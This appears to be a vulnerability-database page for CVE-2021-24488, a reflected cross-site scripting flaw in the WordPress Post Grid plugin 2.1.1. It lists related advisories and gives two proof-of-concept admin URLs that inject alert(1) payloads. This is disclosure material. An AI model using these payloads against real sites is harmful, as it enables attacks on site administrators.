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WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS)
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
 | WordPress Post Grid 2.1.1 Plugin - Cross Site Scripting Vulnerability | 2 Feb 202200:00 | – | zdt |
 | CVE-2021-24488 | 27 Apr 202309:58 | – | circl |
 | WordPress 插件跨站脚本漏洞 | 2 Aug 202100:00 | – | cnnvd |
 | WordPress Post Grid plugin cross-site scripting vulnerability | 5 Aug 202100:00 | – | cnvd |
 | CVE-2021-24488 | 2 Aug 202110:32 | – | cve |
 | CVE-2021-24488 Post Grid < 2.1.8 - Reflected Cross-Site Scripting (XSS) | 2 Aug 202110:32 | – | cvelist |
 | EUVD-2021-11400 | 7 Oct 202500:30 | – | euvd |
 | WordPress Post Grid <2.1.8 - Cross-Site Scripting | 3 Jun 202606:04 | – | nuclei |
 | CVE-2021-24488 | 2 Aug 202111:15 | – | nvd |
 | CVE-2021-24488 | 2 Aug 202111:15 | – | osv |
10
# Exploit Title: WordPress Plugin Post Grid 2.1.1 - Cross Site Scripting (XSS)
# Date: 3/16/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/post-grid/
# Version: 2.1.1
# Tested on: Windows 10
# CVE: CVE-2021-24488
1. Description:
This plugin creates a post grid from any post types. The slider import search feature and tab parameter via plugin settings are vulnerable to reflected cross-site scripting.
2. Proof of Concept:
wp-admin/edit.php?post_type=post_grid&page=post-grid-settings&tab="><script>alert(1)</script>
wp-admin/edit.php?post_type=post_grid&page=import_layouts&keyword="onmouseover=alert(1)//Data
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02 Feb 2022 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 24.3
CVSS 3.16.1
EPSS0.11533